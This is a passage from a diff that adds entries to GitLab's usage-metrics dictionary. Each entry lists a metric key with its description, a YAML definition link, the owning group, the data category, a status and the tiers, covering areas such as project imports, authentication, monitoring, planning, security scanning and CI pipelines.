+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180713_bitbucket.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.projects_imported.bitbucket_server`
+
+Distinct count of users that imported projects from Bitbucket Server
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180715_bitbucket_server.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.projects_imported.git`
+
+Distinct count of users that imported projects using Import by URL
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180718_git.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.projects_imported.gitea`
+
+Distinct count of users that imported projects from Gitea
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180716_gitea.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.projects_imported.github`
+
+Distinct count of users that imported projects from GitHub
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180711_github.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.projects_imported.gitlab`
+
+Distinct count of users that imported projects from GitLab.com
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180709_gitlab.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.projects_imported.gitlab_project`
+
+Distinct count of users that imported projects using Project Import/Export
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180707_gitlab_project.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.projects_imported.manifest`
+
+Distinct count of users that imported projects using Manifest file
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180720_manifest.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.projects_imported.total`
+
+Total count of all projects imported with import_source NOT NULL
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180705_total.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.projects_with_compliance_framework`
+
+Number of projects labeled with a compliance framework label [see](https://gitlab.com/gitlab-org/gitlab/-/issues/118671)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180805_projects_with_compliance_framework.yml)
+
+Group: `group::manage`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `usage_activity_by_stage.manage.unique_users_all_imports`
+
+Distinct count of users that triggered any kind of import
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180632_unique_users_all_imports.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.manage.user_auth_by_provider.google_oauth2`
+
+Number of unique user logins using Google OAuth authentication
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183410_google_oauth2.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.user_auth_by_provider.standard`
+
+Number of unique user logins using password authentication
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183408_standard.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.user_auth_by_provider.two-factor`
+
+Number of unique user logins using two factor authentication
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183402_two-factor.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.user_auth_by_provider.two-factor-via-u2f-device`
+
+Number of unique user logins using two factor via a U2F device
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.user_auth_by_provider.two-factor-via-webauthn-device`
+
+Number of unique user logins using two factor via a WebAuthn device
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.users_created`
+
+Number of users
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180758_users_created.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.manage.value_stream_management_customized_group_stages`
+
+Number of custom value stream analytics stages.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180803_value_stream_management_customized_group_stages.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.monitor.clusters`
+
+Users creating clusters.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180945_clusters.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.monitor.clusters_applications_prometheus`
+
+Users creating clusters with Prometheus enabled.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180947_clusters_applications_prometheus.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.monitor.operations_dashboard_default_dashboard`
+
+Active users with enabled operations dashboard
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180949_operations_dashboard_default_dashboard.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`
+
+### `usage_activity_by_stage.monitor.operations_dashboard_users_with_projects_added`
+
+Active users with projects on operations dashboard
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180953_operations_dashboard_users_with_projects_added.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.monitor.projects_incident_sla_enabled`
+
+Projects where Incident SLA is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180522_projects_incident_sla_enabled.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.monitor.projects_with_alert_incidents`
+
+Count of unique projects with an incident from an alert
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180520_projects_with_alert_incidents.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.monitor.projects_with_enabled_alert_integrations_histogram`
+
+Histogram (buckets 1 to 100) of projects with at least 1 enabled integration.
+
+[Object JSON schema](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/objects_schemas/projects_with_enabled_alert_integrations_histogram.json)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210309165717_projects_with_enabled_alert_integrations_histogram.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.monitor.projects_with_error_tracking_enabled`
+
+Projects where error tracking is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180517_projects_with_error_tracking_enabled.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.monitor.projects_with_incidents`
+
+Count of unique projects with an incident
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180518_projects_with_incidents.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.monitor.projects_with_tracing_enabled`
+
+Projects with tracing enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180951_projects_with_tracing_enabled.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.package.projects_with_packages`
+
+Projects with package registry enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181055_projects_with_packages.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.plan.assignee_lists`
+
+Count of users creating assignee lists on Boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181132_assignee_lists.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.plan.epics`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181134_epics.yml)
+
+Group: `group::plan`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.plan.issues`
+
+Count of users creating Issues
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181115_issues.yml)
+
+Group: `group::project management`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.plan.label_lists`
+
+Count of users creating label lists on Boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181135_label_lists.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.plan.milestone_lists`
+
+Count of users creating milestone lists on Boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181137_milestone_lists.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.plan.notes`
+
+Count of users creating Notes on Issues
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181117_notes.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.plan.projects`
+
+Count of users creating projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181119_projects.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.plan.projects_jira_active`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181126_projects_jira_active.yml)
+
+Group: `group::plan`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.plan.projects_jira_dvcs_cloud_active`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181128_projects_jira_dvcs_cloud_active.yml)
+
+Group: `group::plan`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.plan.projects_jira_dvcs_server_active`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181130_projects_jira_dvcs_server_active.yml)
+
+Group: `group::plan`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.plan.service_desk_enabled_projects`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181122_service_desk_enabled_projects.yml)
+
+Group: `group::plan`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.plan.service_desk_issues`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181124_service_desk_issues.yml)
+
+Group: `group::plan`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.plan.todos`
+
+Count of users todos created
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181121_todos.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.release.deployments`
+
+Unique users triggering deployments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181926_deployments.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.release.failed_deployments`
+
+Total failed deployments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181928_failed_deployments.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.release.projects_mirrored_with_pipelines_enabled`
+
+Count creator_id from projects with repository mirroring enabled.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181934_projects_mirrored_with_pipelines_enabled.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage.release.releases`
+
+Unique users creating release tags
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181930_releases.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.release.successful_deployments`
+
+Total successful deployments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181932_successful_deployments.yml)
+
+Group: `group::release`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.secure.api_fuzzing_scans`
+
+Counts API fuzzing jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180353_api_fuzzing_scans.yml)
+
+Group: `group::fuzz testing`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers:
+
+### `usage_activity_by_stage.secure.cluster_image_scanning_scans`
+
+Counts cluster image scanning jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210618124854_cluster_image_scanning_scans.yml)
+
+Group: `group::container security`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.container_scanning_scans`
+
+Counts container scanning jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175503_container_scanning_scans.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.coverage_fuzzing_scans`
+
+Counts fuzzing jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180352_coverage_fuzzing_scans.yml)
+
+Group: `group::fuzz testing`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers:
+
+### `usage_activity_by_stage.secure.dast_scans`
+
+Counts dast jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182122_dast_scans.yml)
+
+Group: `group::dynamic analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.dependency_scanning_scans`
+
+Total number of users running Dependency Scanning Scans
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175220_dependency_scanning_scans.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.sast_scans`
+
+Counts sast jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182120_sast_scans.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.secret_detection_scans`
+
+counts secret detection jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182123_secret_detection_scans.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_api_fuzzing_dnd_jobs`
+
+Count of API Fuzzing `docker-in-docker` jobs by job name
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180350_user_api_fuzzing_dnd_jobs.yml)
+
+Group: `group::fuzz testing`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.secure.user_api_fuzzing_jobs`
+
+Count of API Fuzzing jobs by job name
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180348_user_api_fuzzing_jobs.yml)
+
+Group: `group::fuzz testing`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.secure.user_api_fuzzing_scans`
+
+Number of users who have run a API Fuzzing scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607044126_user_api_fuzzing_scans.yml)
+
+Group: `category::fuzz testing`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_container_scanning_jobs`
+
+Distinct count per user of Container Scanning jobs run
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175501_user_container_scanning_jobs.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_container_scanning_scans`
+
+Number of users who have run a Container Scanning scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607043902_user_container_scanning_scans.yml)
+
+Group: `group::composition analysis`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_coverage_fuzzing_jobs`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183514_user_coverage_fuzzing_jobs.yml)
+
+Group: ``
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.secure.user_coverage_fuzzing_scans`
+
+Number of users who have run a Coverage Fuzzing scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607044040_user_coverage_fuzzing_scans.yml)
+
+Group: `category::fuzz testing`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_dast_jobs`
+
+Count of DAST jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175614_user_dast_jobs.yml)
+
+Group: `group::dynamic analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.secure.user_dast_scans`
+
+Number of users who have run a DAST scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607043109_user_dast_scans.yml)
+
+Group: `group::dynamic analysis`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_dependency_scanning_jobs`
+
+Total number of users running Dependency Scanning jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175216_user_dependency_scanning_jobs.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_dependency_scanning_scans`
+
+Number of users who have run a Dependency Scanning scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607043819_user_dependency_scanning_scans.yml)
+
+Group: `group::composition analysis`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_license_management_jobs`
+
+Total number of users running License Scanning jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175218_user_license_management_jobs.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_preferences_group_overview_security_dashboard`
+
+Users who set personal preference to see Details on Group information page
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182207_user_preferences_group_overview_security_dashboard.yml)
+
+Group: `group::threat insights`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_sast_jobs`
+
+Count of SAST jobs per user
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182116_user_sast_jobs.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.secure.user_sast_scans`
+
+Number of users who have run a SAST scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607043741_user_sast_scans.yml)
+
+Group: `group::static analysis`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_secret_detection_jobs`
+
+Count of Secret Detection Jobs per user
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182118_user_secret_detection_jobs.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.secure.user_secret_detection_scans`
+
+Number of users who have run a Secret Detection scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607043957_user_secret_detection_scans.yml)
+
+Group: `group::static analysis`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_unique_users_all_secure_scanners`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181954_user_unique_users_all_secure_scanners.yml)
+
+Group: `group::secure`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage.verify.ci_builds`
+
+Unique count of builds in project
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175525_ci_builds.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.verify.ci_external_pipelines`
+
+Total pipelines in external repositories
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.verify.ci_internal_pipelines`
+
+Total pipelines in GitLab repositories
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.verify.ci_pipeline_config_auto_devops`
+
+Total pipelines from an Auto DevOps template
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175531_ci_pipeline_config_auto_devops.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.verify.ci_pipeline_config_repository`
+
+Total Pipelines from templates in repository
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.verify.ci_pipeline_schedules`
+
+Pipeline schedules in GitLab
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.verify.ci_pipelines`
+
+Distinct Users triggering Total pipelines
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175537_ci_pipelines.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.verify.ci_triggers`
+
+Total configured Triggers in project
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175539_ci_triggers.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.verify.clusters_applications_runner`
+
+Count of users creating managed clusters with Runner enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181949_clusters_applications_runner.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage.verify.projects_reporting_ci_cd_back_to_github`
+
+Projects with a GitHub service pipeline enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175540_projects_reporting_ci_cd_back_to_github.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.clusters_applications_cert_managers`
+
+Total GitLab Managed clusters with Cert Manager enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175405_clusters_applications_cert_managers.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.clusters_applications_helm`
+
+Total GitLab Managed clusters with Helm enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175407_clusters_applications_helm.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.clusters_applications_ingress`
+
+Total GitLab Managed clusters with Ingress enabled
